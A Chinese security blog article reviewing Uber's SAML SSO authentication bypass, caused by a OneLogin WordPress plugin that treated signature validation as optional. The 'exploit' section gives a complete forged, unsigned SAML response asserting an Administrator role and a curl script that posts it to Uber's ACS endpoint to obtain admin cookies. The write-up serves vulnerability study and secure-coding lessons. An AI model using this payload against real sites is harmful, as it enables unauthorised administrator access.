SAML认证绕过:Uber的一万美元漏洞复盘学习

admin 2026-02-04 01:34:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文复盘Uber因OneLogin插件导致的SAML认证绕过漏洞。插件错误地将签名验证设为可选,攻击者只需构造无签名的SAML响应即可伪造任意管理员身份登录。该案例揭示了安全机制非强制执行的危险性,建议开发中严格强制验证并重视第三方组件审计。 综合评分: 95 文章分类: 漏洞分析,渗透测试,代码审计,SRC活动,WEB安全


cover_image

SAML认证绕过:Uber的一万美元漏洞复盘学习

原创

Zacarx Zacarx

Zacarx随笔

2026年2月3日 16:15 西藏

案例背景

  • 目标:Uber旗下多个WordPress子站(eng.uber.com、newsroom.uber.com等)
  • 漏洞类型:SAML SSO认证绕过
  • 赏金:$10,000
  • 发现者:Jouko Pynnönen
  • 报告编号:HackerOne #136169

Uber在多个子域名上部署了WordPress站点,用于工程博客、新闻发布等用途。为了方便员工登录,这些站点集成了OneLogin SAML SSO插件,员工可以通过公司统一身份认证系统登录,而不需要单独记住每个站点的密码。


背景知识:

什么是单点登录(SSO)

SSO(Single Sign-On,单点登录)解决的是这个问题:

一家公司有很多内部系统(邮箱、OA、Wiki、代码仓库…),员工不想每个系统都记一套账号密码。

SSO的方案是:登录一次,到处通行

员工只需要在一个统一的地方登录一次,就能访问所有接入的系统。

你很可能已经用过类似的东西:

  • 用微信登录其他App
  • 用Google账号登录第三方网站
  • 公司内网登录一次就能访问所有内部系统

什么是SAML

SAML(Security Assertion Markup Language,安全断言标记语言)是实现SSO的一种协议,主要用于企业环境。

简单理解:SAML就是一套”规矩”,规定了”怎么证明你是你”这件事应该怎么做、数据格式是什么样的。

它基于XML格式,虽然看起来有点老派,但在企业级应用中非常普遍,很多大公司的内部系统都用SAML做身份认证。

三个角色:用户、SP、IdP

SAML登录涉及三方:

| 角色 | 全称 | 是什么 | 例子 | | — | — | — | — | | 用户 | User | 要登录的人 | 你 | | SP | Service Provider(服务提供商) | 你想访问的应用 | WordPress博客、Jira、Confluence | | IdP | Identity Provider(身份提供商) | 负责验证身份的系统 | OneLogin、Okta、Azure AD、企业自建的统一认证系统 |

打个比方:

  • 你要进一栋大楼(SP)
  • 门卫不认识你,让你去物业中心(IdP)开证明
  • 物业中心核实你的身份后,给你开了一张带公章的证明信
  • 你拿着证明信回来,门卫验证公章是真的,就放你进去了

SAML登录的完整流程

安全机制的核心:数字签名

整个流程的安全性依赖于第⑦步的签名验证

SAML Response里会包含一个数字签名,原理类似于:

  • IdP有一把”私钥”(只有IdP自己知道)
  • IdP用私钥对Response内容进行签名
  • SP有IdP的”公钥”(公开的)
  • SP用公钥验证签名是否有效

这就像公章一样:

  • 只有物业中心有真公章(私钥)
  • 门卫知道真公章长什么样(公钥)
  • 门卫通过验证公章来确认证明信是真的

如果没有签名验证会怎样?任何人都可以伪造一张”证明信”,声称自己是管理员,门卫无法分辨真假。


漏洞原理

问题出在哪

研究员发现OneLogin SAML SSO插件的签名验证逻辑存在致命缺陷。来看关键代码:

// 文件:Response.php - isValid() 函数

// 查找Response中的签名元素
$signedElements = $this->getSignedElements();

// 问题在这里:只有当签名元素存在时才验证
if (!empty($signedElements)) {
    // 执行签名验证逻辑
    $this->validateSignature();
}

// 如果$signedElements为空,直接跳过验证!

为什么这是错误的

正确的逻辑应该是:

如果没有签名 → 拒绝请求
如果有签名但无效 → 拒绝请求
如果有签名且有效 → 允许登录

实际的逻辑变成了:

如果没有签名 → 跳过验证 → 允许登录 ❌
如果有签名但无效 → 拒绝请求
如果有签名且有效 → 允许登录

本质问题:把”签名验证”做成了可选项,而不是强制项。攻击者只需要构造一个不包含<ds:Signature>标签的SAML Response,就能完全绕过认证。


利用过程

Step 1: 确认目标使用SAML SSO

访问目标WordPress站点的登录页面,观察是否有SSO登录选项,或者直接访问插件的ACS端点:

https://newsroom.uber.com/wp-content/plugins/onelogin-saml-sso/onelogin_saml.php?acs

如果返回错误信息而不是404,说明插件已安装。

Step 2: 构造伪造的SAML Response

创建一个XML文件,包含想要伪造的用户信息,关键是不包含任何签名标签

<?xml version="1.0"&nbsp;encoding="UTF-8"?>
<samlp:Response&nbsp;xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ID="_response_id_12345"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Version="2.0"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;IssueInstant="2024-01-01T00:00:00Z"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Destination="https://newsroom.uber.com/wp-content/plugins/onelogin-saml-sso/onelogin_saml.php?acs">

&nbsp; &nbsp;&nbsp;<saml:Issuer>https://app.onelogin.com/saml/metadata/123456</saml:Issuer>

&nbsp; &nbsp;&nbsp;<!-- 注意:这里故意不包含 <ds:Signature> 标签 -->

&nbsp; &nbsp;&nbsp;<samlp:Status>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<samlp:StatusCode&nbsp;Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
&nbsp; &nbsp;&nbsp;</samlp:Status>

&nbsp; &nbsp;&nbsp;<saml:Assertion&nbsp;Version="2.0"&nbsp;ID="_assertion_id_67890">
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:Issuer>https://app.onelogin.com/saml/metadata/123456</saml:Issuer>

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:Subject>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:NameID&nbsp;Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [email protected]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</saml:NameID>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</saml:Subject>

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:Conditions&nbsp;NotBefore="2024-01-01T00:00:00Z"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NotOnOrAfter="2099-12-31T23:59:59Z">
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</saml:Conditions>

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- 伪造的用户属性 -->
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:AttributeStatement>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- 用户名:指定为admin -->
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:Attribute&nbsp;Name="User.Username">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:AttributeValue>admin</saml:AttributeValue>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</saml:Attribute>

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- 邮箱 -->
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:Attribute&nbsp;Name="User.email">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:AttributeValue>[email protected]</saml:AttributeValue>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</saml:Attribute>

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<!-- 角色:指定为Administrator -->
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:Attribute&nbsp;Name="memberOf">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<saml:AttributeValue>Administrator</saml:AttributeValue>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</saml:Attribute>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</saml:AttributeStatement>
&nbsp; &nbsp;&nbsp;</saml:Assertion>
</samlp:Response>

Step 3: 编码并发送请求

SAML Response需要Base64编码后通过POST发送:

#!/bin/bash

# 将XML文件Base64编码
SAML_RESPONSE=$(base64&nbsp;-w 0 response.xml)

# 发送POST请求到ACS端点
curl -v&nbsp;'https://newsroom.uber.com/wp-content/plugins/onelogin-saml-sso/onelogin_saml.php?acs'&nbsp;\
&nbsp; &nbsp; -H&nbsp;'Content-Type: application/x-www-form-urlencoded'&nbsp;\
&nbsp; &nbsp; -d&nbsp;"RelayState=/wp-admin/"&nbsp;\
&nbsp; &nbsp; --data-urlencode&nbsp;"SAMLResponse=${SAML_RESPONSE}"&nbsp;\
&nbsp; &nbsp; -c cookies.txt &nbsp;# 保存返回的Cookie

# 使用获取的Cookie访问后台
curl -b cookies.txt&nbsp;'https://newsroom.uber.com/wp-admin/'

Step 4: 验证结果

如果利用成功,服务器会:

  1. 返回有效的WordPress认证Cookie
  2. 如果用户不存在且开启了自动配置(provisioning),会自动创建该用户
  3. 用户角色按照SAML Response中指定的memberOf属性设置

研究员成功获取了管理员权限,可以:

  • 访问WordPress后台
  • 发布/修改/删除文章
  • 安装插件(可能进一步RCE)
  • 管理其他用户

漏洞影响

危害等级:严重 (Critical)

具体危害

  1. 任意账户伪造:攻击者可以伪造任意用户身份登录,包括管理员
  2. 零交互攻击:不需要受害者点击任何链接,纯服务端攻击
  3. 隐蔽性强
  • 不会触发密码错误告警
  • 不需要钓鱼获取凭据
  • 日志中看起来像正常的SSO登录
  1. 权限提升:直接获取最高权限,无需逐步提权
  2. 横向影响:Uber多个子站使用相同插件,一个PoC通杀

影响范围

  • eng.uber.com
  • newsroom.uber.com
  • 其他使用该插件的WordPress站点
  • 理论上所有使用该版本OneLogin SAML插件的站点都受影响

案例启示

漏洞本质

这个漏洞的本质是”可选安全机制”——开发者把签名验证实现成了”有就验,没有就跳过”,而不是”必须有且必须对”。

这种模式在安全领域非常危险,类似的例子还有:

  • JWT的alg:none绕过(算法字段设为none跳过验证)
  • 某些API的签名参数可选(不传sign参数就不验证)

可复用的挖洞思路

  1. 测试认证流程的边界情况:不只测试正常流程,要测试缺少某些字段时的行为
  2. 关注第三方插件/库:它们往往没有主应用审计严格
  3. XML相关的认证要重点关注:SAML、SOAP等XML协议历史上漏洞很多

类似漏洞场景

  • OAuth/OIDC实现中的state参数校验
  • JWT库的算法混淆攻击
  • API网关的签名验证逻辑
  • 支付回调的签名校验

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zacarx随笔 Zacarx Zacarx《SAML认证绕过:Uber的一万美元漏洞复盘学习》

网络安全之网络拓扑③ 网络安全文章

网络安全之网络拓扑③

文章总结: 本文档主要介绍网络安全架构与网络拓扑的相关内容,标题提及CTF题解,强调从全局视角观看安全,旨在落实安全治理、安全管理及安全运营。由于内容仅为标题与
国家大力发展网络安全 网络安全文章

国家大力发展网络安全

文章总结: 文档阐述了国家大力发展网络安全的六大关键原因:维护国家主权与关键基础设施安全、保障数字经济健康发展、保护公民个人信息、维护社会秩序稳定、提升国际竞争
评论:0   参与:  0